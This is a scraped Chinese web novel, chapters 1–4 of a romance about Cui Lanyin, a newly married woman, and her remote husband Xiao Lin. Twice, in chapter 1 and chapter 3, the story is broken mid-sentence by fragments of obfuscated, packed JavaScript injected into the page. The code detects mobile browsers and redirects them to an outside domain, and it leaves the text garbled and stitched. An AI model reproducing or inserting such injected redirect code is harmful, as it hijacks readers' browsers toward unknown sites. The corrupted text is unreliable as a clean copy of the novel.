《我与夫君天生一对》 1. 归宁 “抱歉,我今日不能陪你归宁……” 长公子的嗓音就如山巅上初融的冰雪,即便说着拒人的话也无比动听。 以至于崔兰因听此“噩耗”都生不出讨厌的情绪。 更何况,他还姿容绝美。 卯时的天将亮未亮,随从提着纱灯,朦胧的光映亮长公子的脸,比他送来当聘礼的那块和田羊脂玉还要白润,他浅色的瞳仁像是紫云英蜜,流转间眸光缓慢而柔和地滑过,如春风温柔拂过。 崔兰因不由得想,他这双眼睛,怕是看路边的野狗都温柔。 但他总不至于对狗也生出温情,所以只是他得天独厚,长了一副讨人欢喜的温柔相罢了。 “不妨事。”崔兰因笑眼弯弯,话音脱口不过片息的功夫,又自然地补上两个字,“夫君。” 哪怕三日前他们还是陌生人、哪怕成婚后他们还未同床共枕,共度良宵,崔兰因还是毫无芥蒂地改了口。 但不是所有人都如她这般痛快地习惯关系的转变。 至少这位兰陵萧氏的长公子还没有。 他实在过于忙碌,就连大婚当夜都只将将在新房内待了半柱香用以完成婚仪,恐怕连她的脸都没看清,便被人叫走。 大婚三日的休假更是一日没用上,成日早出晚归,根本不来后院歇息。 妻子在他眼中兴许不过是他后院多出的一件摆件。 作为一件无足轻重的摆件,崔兰因有自知之明。 今日若非傅母强拽她起床,她又怎会巴巴在这里堵住就要出门的长公子,在他面前碍眼? 这般不识情识趣的事情,傻子才做。 思及此,崔兰因暗暗叹一口气。 她现在就是那个身不由己的傻子。 萧临的目光微抬,触及屋檐上新染的一抹霞光,眨眼间视线又重新落回新妇假模假样的笑脸上,他开口道: “并非有意托辞,待公事不忙碌了,我再亲去崔家向外父、外母请罪。” 这是一句解释? 崔兰因眨了眨眼,转瞬便领会了。 如长公子这般盛名在外的人,更是在乎名声。 他虽然无奈娶了自己,但也不会苛刻对待。 今日不能随她归宁是当真忙碌,否则,他无论如何也会去崔家走个过场,不给人留下半句话柄。 “夫君言重了,都是自家人,父亲母亲定能体谅。”说完,崔兰因赶紧腾地方让路,客客气气道:“夫君先去忙吧。” “失陪。”萧临朝她一颔首,才带着随从离开。 即便匆忙,这位长公子的姿态依然优雅,脚步挪动间衣袖仅微晃,就如仙人信步在瑶台阆苑。 崔兰因静静欣赏了一会,待长公子前脚迈出月亮门,她扭身就奔回屋。 萧临这厮起的比鸡还早,就为问这一句话,陈媪把她的美梦都吵飞了。 “娘子!”陈媪是上了年纪的人,脚步没崔兰因快,等她气喘吁吁回屋,她的小娘子已滚回被窝,床帐子遮得密不透风,一副要睡到日上三竿的架势。 “这、这怎么能行!” 陈媪老脸色变,围着床来回踱步,听见屋门外有婢女说话的声音,赶紧先去关了门,回到床边撩起半边帐子,苦口婆心劝道:“娘子,快起吧,可不能任性了,这儿不是崔府,而是萧家!” “萧家的家规不是都背过了吗?卯时起正衣冠,晨读勤练不可停……” 崔兰因能阖上眼睛,却关不上耳朵,陈媪的唠叨一字不落地都听了进去。 正因为听进去了,才越发诧异。 萧家那本枯燥无味,却足足有上百页的家规居然还真有人会去背? 她失眠睡不着,拿起来翻了两页就昏睡过去了,比药还管用。 “奴打听过,长公子此人看着温柔,但治下相当严格,从小照顾他的傅母就是因为违反萧家规矩,被他不留情面地逐出府,一家子都牵连进去了,这是眼里揉不进沙子的人!” 陈媪痛心疾首,仿佛已经看见崔兰因被扫地出门的那一幕,颤声道:“若是娘子还这般……万一、万一……” 崔兰因眼睛都没有睁开,懒洋洋道:“萧家为什么要定下这门亲事,傅母难道不知情吗?” 陈媪的哭腔一收,眉头慢慢拧起来。 崔兰因抱着被子滚进内侧。 萧家不可能在这个关头毁掉这门亲事,所以她压根不用在乎守不守规矩。 陈媪叹了气,终于安静离开了。 崔兰因又在床上赖了好一阵,直到实在不能再拖延,才让陈媪和婢女们为她重新梳妆,梳洗后先去给阿家请安。① 萧家都知道长公子“怠慢”了新妇,故而众人只用怜悯的眼光瞧着崔兰因,就连她那传闻中十分挑剔严肃的阿家也没有苛责她的懒怠,只叮嘱她萧家有门禁,要早去早回。 萧临没有空闲,但是府里的管家却万万不能忘记这件颜面尤关的重要事,于是崔兰因带着萧家备好的三车重礼,携一众奴仆归家去了。 说是家,其实崔兰因并不熟悉。 毕竟两年前,她还只是盈水边白孟城里的一名孤女。 五岁时,崔家就弄丢了她。 / 崔兰因从犊车出来,就见崔府门前阶上立着的父亲母亲,以及他们脸上露出的异色。 她也露出遗憾的神情。 长公子实在忙碌,连这份面子的时间都抽不出,也怪不得她。 萧家管事带着礼单迎向崔父,转达长公子不能前来的惭愧,两人走在前,崔母便挽住崔兰因在后边说话。 “阿樱,你今日归宁,可有问过长公子?”崔母的语气里难掩失望。 “问了,但他公事繁忙,不得空闲。” 崔母扭头,后面陈媪点了点头。 “那在萧家有没有守规矩,没闯祸吧?”崔母又关心道。 “没有,母亲。” 不过才三天,她又不是猴子,还能窜天上去? 崔兰因眼皮都不抬,专心盯着路。 脚下是石子路,灰色的石子里掺了彩色的石子,拼出的花样多种多样,不似萧府,清一色的青砖铺地,就和萧府的人一样沉闷无趣。 “那长公子他……”崔母话到口边又打住,改为用手轻轻拍了拍她的手背,好言劝道:“无论如何,长公子乃建康万里挑一的儿郎,你能够嫁给他,不知道多少女郎羡慕得很,这样的好事,就是吃点苦,受点委屈也没什么。” 其实如人在世,就没有不吃苦的人。 纵使那坐在山巅上的人都要时时提心寒风凌冽以及脚下万丈深渊。 穷有穷之苦,富有富之愁。 崔母自有多活十来年的感悟来宽慰她。 “是吗?”崔兰因以为自己从前吃得苦并不少,不想到这苦还要一直吃下去。 崔母并没听出深意,颔首道:“萧家规矩多,你那阿家更是严格,把长公子看得如眼珠子般仔细,别的郎君十来岁就有女子近身,偏他房里连个伺候的婢女都不许搁,所以他不近女色,不亲近你也是正常的事,你也不必灰心,日后总会有机会改善。” 若一个新妇新婚就守空房的事广为人知只怕要羞愧地不敢出声,但崔兰因开口问:“倘若长公子一直都不喜女色,也不亲近我呢?是不是几年后我就该被休离了?” 崔母脸色微变,急于反驳,“你这孩子,浑说什么呢!” 对比崔母的着急,崔兰因淡然许多,“随便说说罢了。” “你这口无遮拦的毛病,如何都改不掉。”崔母颇感有心无力,“你要是实在想说话就偷偷写下来,少动嘴,少出错,知道吗?” 崔兰因乖乖闭上嘴。 崔母没听见回应,偏头看她。 崔兰因用细白的手指在半空描了个“好”字给她,崔母差点被她气个仰倒。 因为萧临没有出席,场面也无须那么隆重,一家人坐在各自的矮几后,菜摆了几样,难得还讲究地用上新鲜的花草点缀摆盘。 倒也算精致丰盛,却不是崔兰因爱吃的。 崔兰因心不在焉,眼睛滴溜溜环视一圈,这屋里除了父母外,只有嫂嫂伺立在母亲身边,刚刚还朝她投来好奇且幽怨的几眼。 好奇她能理解,这幽怨为哪般啊? 崔兰因问陈媪,“阿姐与兄长怎么不在?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977511|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈媪哪知道,她浅皱眉头提醒:“娘子,食不语。” 崔母看见崔兰因转头转脑,又没专注吃饭,便搁下筷子,“你兄长公事忙碌,你阿姐她……偶感风寒,故而在屋内歇息,没叫她过来。” “阿姐病了?” 崔母瞪了她一眼,“并无大碍,你坐下。” 崔兰因坐回去,“哦”了声。 “被生病”这事她熟。 从前家里有贵客来,出来表现崔女端庄有教养的活都是阿姐的。 这次怕是因为萧临的缘故,母亲才这样安排。 用过饭,崔父问起萧家事。 但崔兰因只道自己安分守,两耳不闻窗外事,什么事都一问三不知。 崔父只好打发她去见崔老夫人。 崔兰因的祖母出自赫赫有名的陈郡谢氏,据说兰因的长相与祖母年轻时有几分相似。 这也是她能够在十年后被谢氏的郎君从人海里捞出来,还归崔家的缘由。 祖母疼爱小辈,更重要的是一视同仁,并没有因为崔兰因学识不好而对她有过偏颇。 所以崔兰因很亲近祖母。 从主院出来,崔兰因带上陈媪以及几名出自萧府的婢女前去拜见祖母。 刚走进松景园,隔着一排盆松,一位年轻的郎君朝她挥手,兴致勃勃道:“盈盈?这么巧!” 崔兰因瞥了他一眼,没搭理。 那郎君紧跟着她挪动,声音从舒展浓绿的松枝后传来,“听说你在萧家过的不好,我小妹在宫里高兴地都差点放焰火了,早说过你别嫁他偏不听吧?萧家长公子是什么人,那是眼高于顶,就连公主他都看不上,不过是图崔家好摆布罢了,是不是这个理,你自己想想也明白。” “殿下怎么有空来这里?” 要不是后边这么多双眼睛盯着,崔兰因真想挖一块泥巴堵住齐蛮的嘴。 这件事众所周知,还用得着他讲? 陈媪耳听齐蛮一顿狂词,脸都黑了,又生怕给后面的萧家婢女听了去告状,把脚步压慢,用宽膀圆腰的身躯挡住其她人没法靠前。 齐蛮老实回道:“哦,我替阿耶来瞧瞧崔老夫人,碰巧听到你要来,所以等了等。” 崔老夫人的耶娘是圣人敬重的长辈,齐蛮为讨圣人欢喜,自是要处处表现。 崔兰因哼了声。 刚刚还说“这么巧”,现在又说“等了等”,齐蛮的话总是真假掺着来,让人分不清他究竟是有心还是无意。 就好像从前他说,等他回到建康,会娶她,好让她永远做肆意快活的小娘子。 可后来他又问,崔家肯把两个女儿嫁给一个郎君吗? 哪怕他是天皇老子亲自来,崔家也不可能让两个女儿给他做妻妾! 所以崔兰因把祖母的话听进去了。 若不能找到个喜欢的,为何不嫁个最好的? 崔兰因小脸严肃。 “不信?我从前答应过你的事可是永远作数,不管你嫁没嫁过,你要想回头,永远都来得及,本人一诺,重于泰山!”齐蛮也微蹙起眉,显得那张俊脸正气凛凛。 这句话倒还像人话。 小路的尽头,崔兰因仰头打量已经装扮得人模人样的齐蛮,心中微动。 曾经他们都是孤儿,颠沛流离的那十年间,见识过对方最狼狈的模样,他们之间患难与共的情谊总不会是假的。 崔兰因才暗暗感动了一阵,又听齐蛮说道:“谁知那姓萧的到底是什么眼光,就连芙宁都不曾讨到一分好,更何况是你呢!要我说,他八成是块臭石头,你还是趁早死了心,早做打算,免得日后被人牵着鼻子走,知道吗?” 崔芙宁是兰因的姐姐,但也不是同父同母的亲姐姐,而是在她走丢后,父亲从族内过继来,为安抚母亲痛失爱女后几欲崩溃的精神。 崔母呕心沥血花了十数年把崔芙宁教得如珠如玉,乃是建康城最有才貌的女郎。 齐蛮这一比较虽然很有说服力,但崔兰因那一点感动顿时烟消云散。 她走过去,往齐蛮脚背上狠狠一跺,不服气道: “你怎知我就不能撬开这石头?!” 2. 晚归 齐蛮出门时,脚还没好利索,一整张脸阴着。 其他随从见之都深埋下头,唯恐受池鱼之殃,唯有一样貌清秀的小郎瞧见,大惊失色地迎上来,“殿下怎么伤了?” 齐蛮轻轻推开他,没好气道:“崔兰因八成吃了爆竹,我好言提醒,她反恩将仇报!” 这随从与齐蛮、崔兰因认识已久,对他们之间的事,那是门儿清,不好明着说,只能道: “盈妹妹……不是,萧夫人她的脾气一向如此,殿下又不是不知道,何必与她计较?” “你叫她什么?”齐蛮皱起眉头。 “……萧夫人?” “难听!”齐蛮一甩袖子,坡着脚走了。 / 听完崔兰因小鸟喳喳般痛快地一吐为快,崔老夫人笑得眉目慈祥。 “怎么这么大的气,萧家小郎君没有陪你归宁,还是气着了?” 崔兰因摇摇头。 萧临是个陌生人,她气他什么呢? “那就是二皇子说的话不中听?” 崔兰因从鼻子里哼了声,没有开腔。 崔老夫人笑道:“这二殿下虽然话难听了些,但是本意还是替你委屈的,只是萧家如今势大,别说崔家,就连谢家在他们面前都要受些委屈。” “祖母,你难道不觉难过吗?” 崔兰因读过史书,当年的谢家如日中天,是真正的顶级门阀,不过三代,却不如往昔风光。 崔老夫人摇摇头,“宝剑锋从磨砺出,梅花香自苦寒来,谢家的风光从不是因安稳平和而来,正是恰恰生于忧患,群敌环伺。昔日绛水一战让谢家权柄煊赫,压过群雄,但你可知,谢家为此也付出了巨大的代价,优秀的子弟、忠实的部曲死伤无数,光鲜的表面下早已伤痕累累、不堪重负。”① “而我与兄长出生时,已是阿耶扫荡好的太平盛世,自是不必提心吊胆、忧心忡忡,阿耶阿娘悉心呵护,我们风平浪静地长大,纵然优秀却不够强大。” 崔兰因从未听过这些,尤其那句“纵然优秀却不够强大”。 她以为优秀的人必然是强大的人,可祖母这番话却仿佛在说,优秀并不代表强大。 “到你父亲这一代,我更没有远大的目标,要将他培养成能够一足撼动八方的豪杰,至此势弱也是难免的。” 崔老夫人点了点她的鼻尖,“你听明白了吗?” 崔兰因脸上还有些迷茫。 “那我换种说法,你是希望过安稳平和的一生,还是坎坷凶险的一生?” “那自然是安稳的。” 这个崔兰因很快就能给出答案。 “那你也学过一句话,生于忧患死于安乐,人一安乐便会懒惰,走向灭亡就是难免的事,我们不能既贪安乐又图强势,就像我阿耶那般强大的人都不敢有千世万世的野心,他所求也不过百年安定。”② “那百年后呢?”崔兰因追问。 “他说,百年后总有百年后的人去忧愁。” 崔兰因把这句话放在心上反复回味。 曾祖父果然是强大的人,不盲目自大,也有足够的自信。 世人的目光总是往下看,比较子女的才华功过,殊不知若作为长辈,他们也远远没有达到强大的地步。 假如父亲再说教她的不足,她便可以理直气壮说,你也不如昔年谢三郎远矣! 崔兰因久久不说话,崔老夫人便又开口: “所以萧家能有这样的强盛,你也不必羡慕,兴衰都是必然的,我们就像是同一个葫芦瓢,按下这头翘起那头,总要分个高低。若无个落差,天地间就不会有流动的水,只会死气沉沉一片。” 崔老夫人的豁达让崔兰因心中那点困惑油然而解,但她又生出另一番疑惑。 “如若像是祖母所言,那萧家如此兴盛,便是经历过磨砺,那会是什么事?” 据她所知,在绛水一战之后,外敌侵扰不再是威胁,内部虽然几经变动也没有爆发过大的战争,萧家是怎么站上巅峰的,她一点也没有瞧明白。 崔老夫人让崔兰因坐在自个身边,爱怜地抚摸着她的头发。 “十二年前,谢氏提议在盈水上流蓄水建坝,其用意在于下面狩阳城,狩阳于淮河之侧的平原上,是兵家必争之重地,彼时我阿耶就提过此处难守易攻,若北地再生事端,此处定是薄弱之地,故而谢氏才会思量出这个法子,想要防患于未然。当时萧家也负责督建其中一段,也是时运不好,遇上天灾人祸,大坝未成先毁,眼见就要决堤,而决堤水冲的方向恰好是环绕万顷良田的沛城,此事一出,先帝震怒,下令处死涉事之人,牵扯出萧家在朝的就有五六位,这还是在谢家努力相保之下,萧家元气大伤是不可避免。” 崔兰因眨着眼,更加困惑。 “而如何解决决堤,减小损失也是最大的问题,有人建议派军来堵住缺口,有人急忙要去疏散沛城百姓,可人力怎能敌过决堤的大水,沛城以及附近村镇近几十万的百姓又怎么跑得过汹涌的洪水?” 崔老夫人说起几十年前的事也毫无障碍,仿佛往事还历历在目,就如画卷一一展露在她面前。 决堤便会生灵涂炭,会带来数不尽的灾难,这不是杀几个人就能够解恨的事,兴许会有家族因此彻底覆灭。 “是萧临站出来,指着盈水西侧的山说了两个字,炸山。” 崔兰因奇怪问:“用炸药毁山改水道的事并不罕见,那么多官员难道还不如个十岁的孩子会想?” “他们知道,但是他们不敢说。洪水东引,沛城之围虽解,但是离安就要陷入水深火热,离安县虽不如沛城大,但也有上百户人,为名声为政绩,他们不敢出此谋划,借小儿之口,再让不熟知周边城镇的上官决定,他们炸掉了盈水西山。” “几千人换取几十万人加上万顷秋收在即的良田,皇帝龙心大悦,重重嘉奖了萧临和萧家,萧家又谈起萧临的出生就是不凡,天边霞光普照,窗边仙鹤高吟,更神奇的是他手握白玉而诞,后来他的表字神玉便是由此而来,不管这些是真是假,言论流入民间,都说他乃真神降世,解救生民于苦难,自发为他建立生祠,香火供奉不断,你也曾在盈水边上生活,可有见过潇祠?” 崔兰因陷入沉思,直到崔老夫人问第二遍,她才醒过神,回道:“……自是见过,我饿极了还去偷过几次供果,那些祠堂高檐巨柱,相当雄伟,原来是他的祠啊。” 崔老夫人爱怜地摸着崔兰因的头,“萧家由衰转兴,萧临便是其中关键,但从此他只能在上面,不能掉下来。” “那岂不是会很辛苦?”崔兰因下意识道。 “这是自然,凡事都有代价。” 崔老夫人又言归正传,安慰她道: “萧临一向循规守矩,对你也定能做到敬爱,万不要听旁人的闲话,不要怕他,你不欠他什么。” 崔兰因严肃道:“嗯,我不怕他,我还要拿下他!”她一捏小拳头,把崔老夫人都逗笑了。 “好好好,这才是我的好孙女。不过,你打算怎么拿下他?” 祖母不亏是祖母,见多识广懂得多,一下问到点子上。 崔兰因虽然长于市井,对男子的接触也最多是拉拉小手的关系,哪有什么妙招对付萧大公子这种不食人间烟火的高人? 崔兰因答不出个所以。 崔老夫人靠在引枕上,意味深长道:“祖母再点你一句,你对人再好,都不如对人有用。”③ 有用? 祖母这一句点拨也跟没有点拨一样。 她能对萧临有什么用? 萧家什么没有,若是他都没有的,还能指望她有? 崔兰因坐上回萧府的犊车,还在想祖母的话。 陈媪在她耳边嘀咕道:“大娘子说,郎君眼下正在长公子手下做事,长公子把他们折腾得不轻,郎君眼下的乌青足有眼大了!” 不仅如此,崔大郎君的夫人也拉着陈媪抱怨,言里言外都是长公子压根是把大郎君当牲口用,她都快一个月没有和郎君清醒地打过照面了,与守活寡无异。 “这样严重?” 话虽如此说,崔兰因灵机一动又笑道:“既然兄长和夫君在一起忙事,还如此辛苦,那我是不是应该去看一下?” 崔兰因笑得别有用心,陈媪肝胆直颤,她警惕提醒道:“娘子,萧家有门禁时间,可不 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话音还未落尽,谁知崔兰因人就在门外,压根不等他安排就大大方方进来,口里还喊道:“夫君怎么办才好啊。” 萧临先看了眼低垂脑袋不敢与他对视的随从,再扫了眼左右。 已呆住的众人才犹如被吹了口仙气,重新复苏活转。 收杯子的、抱卷宗的,大家都很忙,可手底下八百个动作却始终没有忙完。 一点也没有让出地盘的眼力见。 萧临看穿他们看热闹的心思,自桌后走出来,对着崔兰因轻声道:“随我来。” 穿过蜿蜒回廊,是一间收拾齐整的屋。 崔兰因放眼去看。 正对面摆着带有凭几的三围榻,左手墙边有立顶横梁的梨木格架,摆满竹简与帛书,右手边有隔扇门,透过薄纱隐约能看见床榻的轮廓。 此处应有尽有,像是萧临长期休息的地方。 料想若不是大婚,他兴许都用不着回萧府,直接歇在这间屋倒也省事许多。 萧临放任崔兰因跟寻事的小狗一样东张西望,待她看够,才开口询问:“何事来此?” 崔兰因迎上萧临润泽温雅的目光,还分神仔细观察他的眼下,居然没有半点乌青。 这样折腾别人,他倒还精神焕发不见疲倦? 莫不是偷偷敷粉了! 若非两人尚不熟悉,崔兰因不好凑近去研究,不然她非要去摸一摸。 “我今日回崔家……” 崔兰因欲言又止,缓慢侧过身,手指抚摸几上万年青的叶片,浓睫缓扇,勾出为难与纠结的神色。 聪明人总以为自己洞察人心,他们最喜欢做的事便是从蛛丝马迹中找到隐藏的真相。 可一息过去,两息过去,三息过去…… 时间长到,崔兰因觉得自己再不说下一句,萧临也有耐心等到天长地久。 她深深吸了口气,扭头重新开口道:“听我嫂嫂说已经有一个月没有见到兄长的面了……” 萧临这会接上她的话,问:“你是来给崔主事提假的?” 崔兰因睁大眼睛,嗓音清脆道:“当然不是!” 萧临两瓣唇又粘住了,只用温和的目光望着崔兰因,仿佛他天生就是最好的聆听者。 见鬼了!他这个人怎么这样! 但是都点着了火不能不扇风,崔兰因只好独自在戏台上把戏唱下去。 “嫂嫂说一日不见如隔三秋,但又体谅兄长是为国事繁忙,只能自己暗暗思念,兰因见状便想起了夫君也是如此繁忙,只可惜兰因不能为夫君分忧,便买了截饼④想送给夫君。” 崔兰因空空如也的双手实在很没有说服力,不过她胜在有张能说会道的嘴。 “不过夫君实在太忙碌了,一直不曾出来,兰因在外面等到肚中空空,饥肠辘辘,只能把截饼都吃了。” 萧临眉微扬,轻“嗯”了声。 空手套白狼? 3. 同归 饼呢? 那是信则有不信则无的存在。 崔兰因理不直气也壮地杵在他面前。 作为萧氏的长公子,还未见过如此“无赖”之人,但想到对方是自己的新妇,便也只能从鼻腔发出一声疑惑的气音。 崔兰因就是被他那个上扬的音吸引,微歪着脑袋,仰脸迎他,兴致勃勃睁大眼睛盯着,仿佛想从他的脸上找到蛛丝马迹。 萧临这时才留意到崔兰因的眼睛亮得像蹲在暗处等着打猎的猫儿一样。 谢玧就曾在他面前频频夸这位崔家女郎的长相,说她颜如春花绽放,神似晨霞明媚,肤光胜雪,娇美无比,颇像他们谢家的女郎。 虽听起来像是大言不惭。 但萧临不能否认好友之言。 谢家人的确都生得一副好容颜,当年他曾祖父也留下一言,说自己在谢家三郎身边是“珠玉在侧,觉我形秽”。① 不过世人还是把谢萧两家认为是伯仲之间。 但无论怎么说,那都只是皮囊而已,萧临也未曾想过要跟谢玧争个高低优劣,就像他也不在意崔兰因长得是美是丑。 只是常有人道,有些漂亮的女郎会倚姣作媚②,这就好比有才华的郎君偶尔也会故作清高。 所以看着崔兰因那张娇艳欲滴的小脸,萧临便也宽容地忽略掉她那错漏百出的托辞,说道: “无妨,若你还饿的话,我让人给你拿点别的吃。” 崔兰因摆摆手,客气道:“那倒不用,我已经饱了。” 萧临也不多劝,遂道:“那我找人送你回去。” 崔兰因打开双臂,像只展翅欲飞的大红鸟拦在萧临身前,这才可怜巴巴道出原委。 “可现在已过了门禁时间,我回去岂不是要受阿家责问,不然还是留我和夫君一块回去吧!” 说到最后一句时,崔兰因才努力压下嗓音里的轻快。 关系不亲多是陪伴不够,没有机会她也能自己找机会。 可萧临往后拉开半步,平静道:“就算你与我一块回去,也是要受责问。” 崔兰因没想明白这是什么道理,遂问:“为何?” 萧临谅她初来咋到还不懂萧家的规矩,认真解释道:“我为公务耽误时间情有可原,你为私事不守规矩,无可辩驳。” 崔兰因惯会拉人下水的把戏,腹稿都不带打,马上道:“可我们是夫妻呀,一人做事两人同担,夫君难道也甘心受罚?” 萧临还从没往这新鲜的角度想过,沉思片刻,终于点头,温声道:“你说的也对,你之过,我也有责,等我回去时再请母亲责罚。” “……” 崔兰因先是不敢置信地瞪圆眼,而后是吃惊地张开嘴,最后才猛吸了口气,把自己的脸蛋都气鼓了。 叫什么萧神玉,干脆叫萧石头吧! 这招苦肉计显然对石头是没用的。 崔兰因见风使舵,立刻道:“夫君千万别这般说,若因我连累夫君受罚,岂不是万分愧疚百般苦恼,届时食无味寝不安,身体焉能长久!——” 她转过身,大义凛然跨出几步,“也罢,我一人做事一人当,只道我在外面贪玩,夫君是一点也不……” 崔兰因一直口齿伶俐,这会骤然哑声倒让萧临觉察奇怪,然他还没看出端倪,崔兰因就唰唰唰连退好几步,直接撞进他怀里。 动作之大,她鬓角那支钗直接把下面坠着的金珠一个飞甩砸他脸颊上,“啪”得声。 痛倒是说不上痛,但是萧临从没有被女子之物堂而皇之拍在脸上,他定了定神,看向近在眼皮底下的崔兰因。 崔兰因的身形不算矮小,但是一蜷进他怀中莫名就小了一圈,仿佛可以能被他完全笼罩。 女郎的体温、幽香就好像被轻风吹过来的春雾,密密匝匝环绕,让人难以忽略。 更何况两人跟两个葫芦瓢一样,一些地方难免不合时宜地贴着。 即便眼睛看不到,但身体自会感受。 无论是弧度还是软度或是温度都在那瞬间刻印在萧临的脑海里,挥之不去。 萧临头皮发麻,当即后退一步,崔兰因却“不甘示弱”紧跟他一步。 两人的身体依然贴得严丝合缝。 喉结难耐翻滚,萧临正要出声提醒,崔兰因终于勉强从牙缝里挤出了声音,惊恐道:“蛇……有蛇!” 在崔兰因的面前盘踞着一条小蛇,那蛇通体碧绿,三角头,还有两只红色的竖瞳,一看就不是良善之辈。 她听人说过,蛇能辨移动之物,攻击迅猛,所以才不敢撒腿乱跑,又恨后边是块石头,怎么不知道往后多避避! 萧临抬手支住崔兰因的肩膀,目光往前。 一条周身覆满绿鳞的小蛇昂首盘立在香炉边,有节奏地吐出红色的信子。 看似是在威慑,实则不过是努力分辨环境里多出来的陌生气味。 “别乱动,这是我养的蛇。” 崔兰因果真一动不动,直到萧临从她身后走开,她才骨碌碌转着眼珠子,看蛇也在看他。 “你养的?……那这蛇有毒吗?” “不会致人死。”萧临说话的时候,小蛇就优雅地摆动着身体游了过来,乖得像只一“嘬嘬”就来的狗。 萧临半蹲下身,伸出两根指头搭在地上,小绿蛇果真就沿着他的手钻进他的袖筒,消失不见。 崔兰因看得目瞪口呆,也紧跟着上前一步,原地蹲下,很新奇地打量萧临。 长公子这等世族不该都是神姿高彻的姿态,怀瑾握瑜的品格,雅质不俗的爱好? 豢养鹅、雀鸟、丹鹤都是高雅的象征,谁像他居然养蛇! 这等阴森冰冷无情的爬行毒物,要是爬她手上,她会把它甩到千里之外的盈水去! 萧临收好蛇,崔兰因眼睛还忍不住瞄向萧临的袖口,又怕又奇,“你就不怕它忽然咬你一口?” 萧临站起身,略抬起手腕,隔着袖子轻点了几下,“万物皆有灵,我待它好,它岂可伤我?” 崔兰因又随他站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977513|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,感慨道:“那这蛇可比主人灵。” 萧临看向崔兰因,“何意?” 崔兰因叹了口气,道:“我冒受罚来探望夫君,不是对夫君好吗?可夫君却铁面无私要送我去受责罚,难道不是伤我么?” 萧临道:“我可以同你一起受罚。” 这已经是他能表达的最大限度地承情,即便这女郎在胡诌乱语。 谁要和他一起受罚了? 崔兰因牙都咬紧了。 萧临不解风情的程度令人发指! “且罢,我不想给夫君惹麻烦……”崔兰因忍气吞声说完,又咬牙切齿道:“不过夫君能在回家的时候,给我带一份桂花蒸蜜藕吗?” 好不容易来一趟,崔兰因岂能一无所获。 蜜藕? 萧临正要说府上厨子会做,崔兰因已脆生生抢先开口,“我就想吃青溪南巷走贩挑着柳木桶挂着灰底黑字小旗卖的,他家的蒸蜜藕香甜软糯,和别的厨子做的味道不一样!” 堵住萧临的话后,她还真诚无比地眨着大眼睛,娇娇地加上五个字,“夫君,可以吗?” 那模样要多可怜就有多可怜,仿佛只要再听到一个“不”字她就能马上湿了眼眶,哭给他瞧。 若崔兰因真的在这哭起来,他又不会哄人,还不知还要耗费多少时间。 萧临权衡利弊,考虑须臾,出声道:“好。” 崔兰因这才“满意”,挥手与他作别。 / 许是今日崔兰因上门,下值后出门的这一路,都能听见结伴而行的官员在议论。 “其实少司空娶崔家女着实是委屈了,那崔家除了崔老夫人之外还真没有什么拿得出手的。”③ “所以才说,得亏是对方是萧神玉,那婚约又没有实证也没有信物,且过去那么多年又死无对证的……” 萧崔两家联姻一度成为建康茶余饭后的谈资,萧家高门显赫,从前往后筛选,都能找出十几名适合的女郎,完全没有必要接受崔家的二娘子,对方明显是趁火打劫嘛! 别说外人看得分明,常年随侍在身边的人更要替萧临叫屈。 “郎君,如若只是买蜜藕,派我或景澜去就成,何必辛苦自己折腾这一趟?” 回府光车程就要两刻钟,再加上萧府各种繁琐严苛的规矩,弄完少说得半个时辰后才能歇下,卯时起床又要晨读武练,而后向老太公、老夫人、大娘子一一问安,再赶回署司办事。 半年前萧临公事繁忙,老太公才叫他在署司安歇,如此每日才有更多时间休息,恢复精力好投入公务。 “常言事不过三,第一我未陪崔氏回门,第二我未许她同归,如今不过举手之劳,便不能不应了。” 两人面上仍有忿忿不平之色。 萧临又道:“她受了委屈,想要使唤我出气不过是小事,何必与她计较?” 在成婚前,他就早做好打算。 往后崔兰因的事,他能忍则忍,能放则放,没有必要时时刻刻盯着她。 4. 胡闹 萧临坐上犊车,青牛稳步往前,才出建春门,车便急停。 “发生何事?” 景澜过来禀道:“一对母子忽然从死角闯出来,好在康伯及时制住车,并未伤着人。” 萧临道:“给她们些钱,叫她们快些回家。” 妇人扬声道:“我、我不要钱,是我儿平白无故拿人东西,我是来还、还的。” 景澜很稀罕地瞅了一眼哭得鼻涕眼泪满脸的小郎,“拿了何物?” 妇人赶紧打开一包牛皮纸,里面竟是几个饼。 小郎见此,两眼通红,大声辩解道:“不是我拿的!真是一位娘子送给我的!” “这可是羊乳做的截饼,内调花馅,一张要十钱,再添点都能买上一斤猪肉了!”妇人揪住孩子的耳朵,苦口婆心道:“再穷也不可做偷鸡摸狗之事,拿了别人的东西就要还回去!” 景澜在萧府做事,郎君大方,他从没为十几钱的小事计较过,再看这妇人手中牛皮纸上堆着四张半,最多就五十钱。 “前面是都城墙,里边是官员办事之所,都是男子,哪来的……”景澜看了眼景澄,两人同时想起崔兰因。 “小郎,给你饼的那位娘子,是着什么颜色的衣裳?”景澄蹲下问。 小郎抽泣道:“我记得……是橘色上裳配红色下裙,我从来没见过那么好看的娘子……” 崔兰因确实生得秀丽绝俗,而且她今日来时也正是穿着这色衣裙。 景澜和景澄回头看萧临。 原来也不是空手套白狼,只是崔氏宁可把饼给这小子,一块没给长公子啊。 隔着纱帘,郎君的身影影影绰绰,无人能够看清他的脸色,只有一道温和的嗓音传出。 “既是那位娘子给的,不必放在心上。” 他并不想吃什么截饼,崔兰因送给旁人也并不会令他难过。 妇人惶惶不安看着几人,“当真……不是我儿拿了人东西?” 